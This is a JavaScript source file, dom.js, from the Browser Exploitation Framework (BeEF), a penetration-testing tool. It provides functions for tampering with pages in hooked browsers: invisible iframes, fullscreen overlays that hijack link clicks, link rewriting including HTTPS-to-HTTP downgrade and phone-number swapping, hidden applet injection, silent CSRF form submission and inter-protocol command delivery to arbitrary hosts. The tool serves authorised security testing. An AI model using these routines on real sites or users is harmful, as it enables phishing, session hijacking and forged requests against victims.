# Source: dom.js

    //
    // Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
    // Browser Exploitation Framework (BeEF) - http://beefproject.com
    // See the file 'doc/COPYING' for copying permission
    //

    /**
     * Provides functionality to manipulate the DOM.
     * @namespace beef.dom
     */
    beef.dom = {

    	/**
    	 * Generates a random ID for HTML elements
    	 * @param {String} prefix a custom prefix before the random id. defaults to "beef-"
    	 * @return {String} generated id
    	 */
    	generateID: function(prefix) {
    		return ((prefix == null) ? 'beef-' : prefix)+Math.floor(Math.random()*99999);
    	},

    	/**
    	 * Creates a new element but does not append it to the DOM.
    	 * @param {String} type the name of the element.
    	 * @param {Array} attributes the attributes of that element.
    	 * @return {Array} the created element.
    	 */
    	createElement: function(type, attributes) {
    		var el = document.createElement(type);

    		for(index in attributes) {
    			if(typeof attributes[index] == 'string') {
    				el.setAttribute(index, attributes[index]);
    			}
    		}

    		return el;
    	},

    	/**
    	 * Removes element from the DOM.
    	 * @param {Object} el the target element to be removed.
    	 */
    	removeElement: function(el) {
    		if (!beef.dom.isDOMElement(el))
    		{
    			el = document.getElementById(el);
    		}
    		try {
    			el.parentNode.removeChild(el);
    		} catch (e) { }
    	},

    	/**
    	 * Tests if the object is a DOM element.
    	 * @param {Object} the DOM element.
    	 * @return {boolean} true if the object is a DOM element.
    	 */
    	isDOMElement: function(obj) {
    		return (obj.nodeType) ? true : false;
    	},

    	/**
    	 * Creates an invisible iframe on the hook browser's page.
    	 * @return {array} the iframe.
    	 */
    	createInvisibleIframe: function() {
    		var iframe = this.createElement('iframe', {
    				width: '1px',
    				height: '1px',
    				style: 'visibility:hidden;'
    			});

    		document.body.appendChild(iframe);

    		return iframe;
    	},

    	/**
    	 * Returns the highest current z-index
    	 * @param {Boolean} whether to return an associative array with the height AND the ID of the element
    	 * @return {Integer} Highest z-index in the DOM
    	 * OR
    	 * @return {Hash} A hash with the height and the ID of the highest element in the DOM {'height': INT, 'elem': STRING}
    	 */
    	getHighestZindex: function(include_id) {
    		var highest = {'height':0, 'elem':''};
    		$j('*').each(function() {
    			var current_high = parseInt($j(this).css("zIndex"),10);
    			if (current_high > highest.height) {
    				highest.height = current_high;
    				highest.elem = $j(this).attr('id');
    			}
    		});

    		if (include_id) {
    			return highest;
    		} else {
    			return highest.height;
    		}
    	},

    	/**
         * Create an iFrame element and prepend to document body. URI passed via 'src' property of function's 'params' parameter
         * is assigned to created iframe tag's src attribute resulting in GET request to that URI.
         * example usage in the code: beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null);
    	 * @param {String} type: can be 'hidden' or 'fullScreen'. defaults to normal
    	 * @param {Hash} params: list of params that will be sent in request.
    	 * @param {Hash} styles: css styling attributes, these are merged with the defaults specified in the type parameter
    	 * @param {Function} a callback function to fire once the iFrame has loaded
    	 * @return {Object} the inserted iFrame
         *
    	 */
    	createIframe: function(type, params, styles, onload) {
    		var css = {};

    		if (type == 'hidden') {
    			css = $j.extend(true, {'border':'none', 'width':'1px', 'height':'1px', 'display':'none', 'visibility':'hidden'}, styles);
    		} else if (type == 'fullscreen') {
    			css = $j.extend(true, {'border':'none', 'background-color':'white', 'width':'100%', 'height':'100%', 'position':'absolute', 'top':'0px', 'left':'0px', 'z-index':beef.dom.getHighestZindex()+1}, styles);
    			$j('body').css({'padding':'0px', 'margin':'0px'});
    		} else {
    			css = styles;
    			$j('body').css({'padding':'0px', 'margin':'0px'});
    		}
    		var iframe = $j('<iframe />').attr(params).css(css).load(onload).prependTo('body');

    		return iframe;
    	},

        /**
         * Load the link (href value) in an overlay foreground iFrame.
         * The BeEF hook continues to run in background.
         * NOTE: if the target link is returning X-Frame-Options deny/same-origin or uses
         * Framebusting techniques, this will not work.
         */
        persistentIframe: function(){
            $j('a').click(function(e) {
                if ($j(this).attr('href') != '')
                {
                    e.preventDefault();
                    beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null);
                    $j(document).attr('title', $j(this).html());
                    document.body.scroll = "no";
                    document.documentElement.style.overflow = 'hidden';
                }
            });
        },

        /**
         * Load a full screen div that is black, or, transparent
         * @param {Boolean} vis: whether or not you want the screen dimmer enabled or not
         * @param {Hash} options: a collection of options to customise how the div is configured, as follows:
         *         opacity:0-100         // Lower number = less grayout higher = more of a blackout
         *           // By default this is 70
         *         zindex: #             // HTML elements with a higher zindex appear on top of the gray out
         *           // By default this will use beef.dom.getHighestZindex to always go to the top
         *         bgcolor: (#xxxxxx)    // Standard RGB Hex color code
         *           // By default this is #000000
         */
    	grayOut: function(vis, options) {
    	  // in any order.  Pass only the properties you need to set.
    	  var options = options || {};
    	  var zindex = options.zindex || beef.dom.getHighestZindex()+1;
    	  var opacity = options.opacity || 70;
    	  var opaque = (opacity / 100);
    	  var bgcolor = options.bgcolor || '#000000';
    	  var dark=document.getElementById('darkenScreenObject');
    	  if (!dark) {
    	    // The dark layer doesn't exist, it's never been created.  So we'll
    	    // create it here and apply some basic styles.
    	    // If you are getting errors in IE see: http://support.microsoft.com/default.aspx/kb/927917
    	    var tbody = document.getElementsByTagName("body")[0];
    	    var tnode = document.createElement('div');           // Create the layer.
    	        tnode.style.position='absolute';                 // Position absolutely
    	        tnode.style.top='0px';                           // In the top
    	        tnode.style.left='0px';                          // Left corner of the page
    	        tnode.style.overflow='hidden';                   // Try to avoid making scroll bars
    	        tnode.style.display='none';                      // Start out Hidden
    	        tnode.id='darkenScreenObject';                   // Name it so we can find it later
    	    tbody.appendChild(tnode);                            // Add it to the web page
    	    dark=document.getElementById('darkenScreenObject');  // Get the object.
    	  }
    	  if (vis) {
    	    // Calculate the page width and height
    	    if( document.body && ( document.body.scrollWidth || document.body.scrollHeight ) ) {
    	        var pageWidth = document.body.scrollWidth+'px';
    	        var pageHeight = document.body.scrollHeight+'px';
    	    } else if( document.body.offsetWidth ) {
    	      var pageWidth = document.body.offsetWidth+'px';
    	      var pageHeight = document.body.offsetHeight+'px';
    	    } else {
    	       var pageWidth='100%';
    	       var pageHeight='100%';
    	    }
    	    //set the shader to cover the entire page and make it visible.
    	    dark.style.opacity=opaque;
    	    dark.style.MozOpacity=opaque;
    	    dark.style.filter='alpha(opacity='+opacity+')';
    	    dark.style.zIndex=zindex;
    	    dark.style.backgroundColor=bgcolor;
    	    dark.style.width= pageWidth;
    	    dark.style.height= pageHeight;
    	    dark.style.display='block';
    	  } else {
    	     dark.style.display='none';
    	  }
    	},

    	/**
    	 * Remove all external and internal stylesheets from the current page - sometimes prior to socially engineering,
    	 *  or, re-writing a document this is useful.
    	 */
    	removeStylesheets: function() {
    		$j('link[rel=stylesheet]').remove();
    		$j('style').remove();
    	},

    	/**
         * Create a form element with the specified parameters, appending it to the DOM if append == true
    	 * @param {Hash} params: params to be applied to the form element
    	 * @param {Boolean} append: automatically append the form to the body
    	 * @return {Object} a form object
    	 */
    	createForm: function(params, append) {
    		var form = $j('<form></form>').attr(params);
    		if (append)
    			$j('body').append(form);
    		return form;
    	},

    	loadScript: function(url) {
    	  var s = document.createElement('script');
    	  s.type = 'text/javascript';
    	  s.src = url;
    	  $j('body').append(s);
    	},

    	/**
    	 * Get the location of the current page.
    	 * @return the location.
    	 */
    	getLocation: function() {
    		return document.location.href;
    	},

    	/**
    	 * Get links of the current page.
    	 * @return array of URLs.
    	 */
    	getLinks: function() {
    		var linksarray = [];
    		var links = document.links;
    		for(var i = 0; i<links.length; i++) {
    			linksarray = linksarray.concat(links[i].href)
    		};
    		return linksarray
    	},

    	/**
    	 * Rewrites all links matched by selector to url, also rebinds the click method to simply return true
    	 * @param {String} url: the url to be rewritten
    	 * @param {String} selector: the jquery selector statement to use, defaults to all a tags.
    	 * @return {Number} the amount of links found in the DOM and rewritten.
    	 */
    	rewriteLinks: function(url, selector) {
    		var sel = (selector == null) ? 'a' : selector;
    		return $j(sel).each(function() {
    			if ($j(this).attr('href') != null)
    			{
    				$j(this).attr('href', url).click(function() { return true; });
    			}
    		}).length;
    	},

    	/**
    	 * Rewrites all links matched by selector to url, leveraging Bilawal Hameed's hidden click event overwriting.
    	 * http://bilaw.al/2013/03/17/hacking-the-a-tag-in-100-characters.html
    	 * @param {String} url: the url to be rewritten
    	 * @param {String} selector: the jquery selector statement to use, defaults to all a tags.
    	 * @return {Number} the amount of links found in the DOM and rewritten.
    	 */
    	rewriteLinksClickEvents: function(url, selector) {
    		var sel = (selector == null) ? 'a' : selector;
    		return $j(sel).each(function() {
    			if ($j(this).attr('href') != null)
    			{
    				$j(this).click(function() {this.href=url});
    			}
    		}).length;
    	},

    	/**
         * Parse all links in the page matched by the selector, replacing old_protocol with new_protocol (ex.:https with http)
    	 * @param {String} old_protocol: the old link protocol to be rewritten
    	 * @param {String} new_protocol: the new link protocol to be written
    	 * @param {String} selector: the jquery selector statement to use, defaults to all a tags.
    	 * @return {Number} the amount of links found in the DOM and rewritten.
    	 */
    	rewriteLinksProtocol: function(old_protocol, new_protocol, selector) {

    		var count = 0;
    		var re = new RegExp(old_protocol+"://", "gi");
    		var sel = (selector == null) ? 'a' : selector;

    		$j(sel).each(function() {
    			if ($j(this).attr('href') != null) {
    				var url = $j(this).attr('href');
    				if (url.match(re)) {
    					$j(this).attr('href', url.replace(re, new_protocol+"://")).click(function() { return true; });
    					count++;
    				}
    			}
    		});

    		return count;
    	},

    	/**
    	 * Parse all links in the page matched by the selector, replacing all telephone urls ('tel' protocol handler) with a new telephone number
    	 * @param {String} new_number: the new link telephone number to be written
    	 * @param {String} selector: the jquery selector statement to use, defaults to all a tags.
    	 * @return {Number} the amount of links found in the DOM and rewritten.
    	 */
    	rewriteTelLinks: function(new_number, selector) {

    		var count = 0;
    		var re = new RegExp("tel:/?/?.*", "gi");
    		var sel = (selector == null) ? 'a' : selector;

    		$j(sel).each(function() {
    			if ($j(this).attr('href') != null) {
    				var url = $j(this).attr('href');
    				if (url.match(re)) {
    					$j(this).attr('href', url.replace(re, "tel:"+new_number)).click(function() { return true; });
    					count++;
    				}
    			}
    		});

    		return count;
    	},

        /**
         * Given an array of objects (key/value), return a string of param tags ready to append in applet/object/embed
         * @param {Array} an array of params for the applet, ex.: [{'argc':'5', 'arg0':'ReverseTCP'}]
         * @return {String} the parameters as a string ready to append to applet/embed/object tags (ex.: <param name='abc' value='test' />).
         */
        parseAppletParams: function(params){
             var result = '';
             for (i in params){
               var param = params[i];
               for(key in param){
                  result += "<param name='" + key + "' value='" + param[key] + "' />";
               }
             }
            return result;
        },

        /**
         * Attach an applet to the DOM, using the best approach for differet browsers (object/applet/embed).
         * example usage in the code, using a JAR archive (recommended and faster):
         * beef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D.class', null, 'http://127.0.0.1:3000/ui/media/images/target.jar', [{'param1':'1', 'param2':'2'}]);
         * example usage in the code, using codebase:
         * beef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D', 'http://127.0.0.1:3000/', null, null);
         * @param {String} id: reference identifier to the applet.
         * @param {String} code: name of the class to be loaded. For example, beef.class.
         * @param {String} codebase: the URL of the codebase (usually used when loading a single class for an unsigned applet).
         * @param {String} archive: the jar that contains the code.
         * @param {String} params: an array of additional params that the applet except.
         */
        attachApplet: function(id, name, code, codebase, archive, params) {
            var content = null;
            if (beef.browser.isIE()) {
                content = "" + // the classid means 'use the latest JRE available to launch the applet'
                    "<object id='" + id + "'classid='clsid:8AD9C840-044E-11D1-B3E9-00805F499D93' " +
                    "height='0' width='0' name='" + name + "'> " +
                    "<param name='code' value='" + code + "' />";

                if (codebase != null) {
                    content += "<param name='codebase' value='" + codebase + "' />"
                }
                if (archive != null){
                    content += "<param name='archive' value='" + archive + "' />";
                }
                if (params != null) {
                    content += beef.dom.parseAppletParams(params);
                }
                content += "</object>";
            }
            if (beef.browser.isC() || beef.browser.isS() || beef.browser.isO() || beef.browser.isFF()) {

                if (codebase != null) {
                    content = "" +
                        "<applet id='" + id + "' code='" + code + "' " +
                        "codebase='" + codebase + "' " +
                        "height='0' width='0' name='" + name + "'>";
                } else {
                    content = "" +
                        "<applet id='" + id + "' code='" + code + "' " +
                        "archive='" + archive + "' " +
                        "height='0' width='0' name='" + name + "'>";
                }

                if (params != null) {
                    content += beef.dom.parseAppletParams(params);
                }
                content += "</applet>";
            }
            // For some reasons JavaPaylod is not working if the applet is attached to the DOM with the embed tag rather than the applet tag.
    //        if (beef.browser.isFF()) {
    //            if (codebase != null) {
    //                content = "" +
    //                    "<embed id='" + id + "' code='" + code + "' " +
    //                    "type='application/x-java-applet' codebase='" + codebase + "' " +
    //                    "height='0' width='0' name='" + name + "'>";
    //            } else {
    //                content = "" +
    //                    "<embed id='" + id + "' code='" + code + "' " +
    //                    "type='application/x-java-applet' archive='" + archive + "' " +
    //                    "height='0' width='0' name='" + name + "'>";
    //            }
    //
    //            if (params != null) {
    //                content += beef.dom.parseAppletParams(params);
    //            }
    //            content += "</embed>";
    //        }
            $j('body').append(content);
        },

        /**
         * Given an id, remove the applet from the DOM.
         * @param {String} id: reference identifier to the applet.
         */
        detachApplet: function(id) {
            $j('#' + id + '').detach();
        },

        /**
         * Create an invisible iFrame with a form inside, and submit it. Useful for XSRF attacks delivered via POST requests.
         * @param {String} action: the form action attribute, where the request will be sent.
         * @param {String} method: HTTP method, usually POST.
         * @param {String} enctype: form encoding type
         * @param {Array} inputs: an array of inputs to be added to the form (type, name, value).
         *         example: [{'type':'hidden', 'name':'1', 'value':''} , {'type':'hidden', 'name':'2', 'value':'3'}]
         */
        createIframeXsrfForm: function(action, method, enctype, inputs){
            var iframeXsrf = beef.dom.createInvisibleIframe();

            var formXsrf = document.createElement('form');
            formXsrf.setAttribute('action',  action);
            formXsrf.setAttribute('method',  method);
            formXsrf.setAttribute('enctype', enctype);

            var input = null;
            for (i in inputs){
                var attributes = inputs[i];
                input = document.createElement('input');
                    for(key in attributes){
                        if (key == 'name' && attributes[key] == 'submit') {
                          // workaround for https://github.com/beefproject/beef/issues/1117
                          beef.debug("createIframeXsrfForm - warning: changed form input 'submit' to 'Submit'");
                          input.setAttribute('Submit', attributes[key]);
                        } else {
                          input.setAttribute(key, attributes[key]);
                        }
                    }
                formXsrf.appendChild(input);
            }
            iframeXsrf.contentWindow.document.body.appendChild(formXsrf);
            formXsrf.submit();

            return iframeXsrf;
        },

        /**
         * Create an invisible iFrame with a form inside, and POST the form in plain-text. Used for inter-protocol exploitation.
         * @param {String} rhost: remote host ip/domain
         * @param {String} rport: remote port
         * @param {String} commands: protocol commands to be executed by the remote host:port service
         */
        createIframeIpecForm: function(rhost, rport, path, commands){
            var iframeIpec = beef.dom.createInvisibleIframe();

            var formIpec = document.createElement('form');
            formIpec.setAttribute('action',  'http://'+rhost+':'+rport+path);
            formIpec.setAttribute('method',  'POST');
            formIpec.setAttribute('enctype', 'multipart/form-data');

            input = document.createElement('textarea');
            input.setAttribute('name', Math.random().toString(36).substring(5));
            input.value = commands;
            formIpec.appendChild(input);
            iframeIpec.contentWindow.document.body.appendChild(formIpec);
            formIpec.submit();

            return iframeIpec;
        }

    };

    beef.regCmp('beef.dom');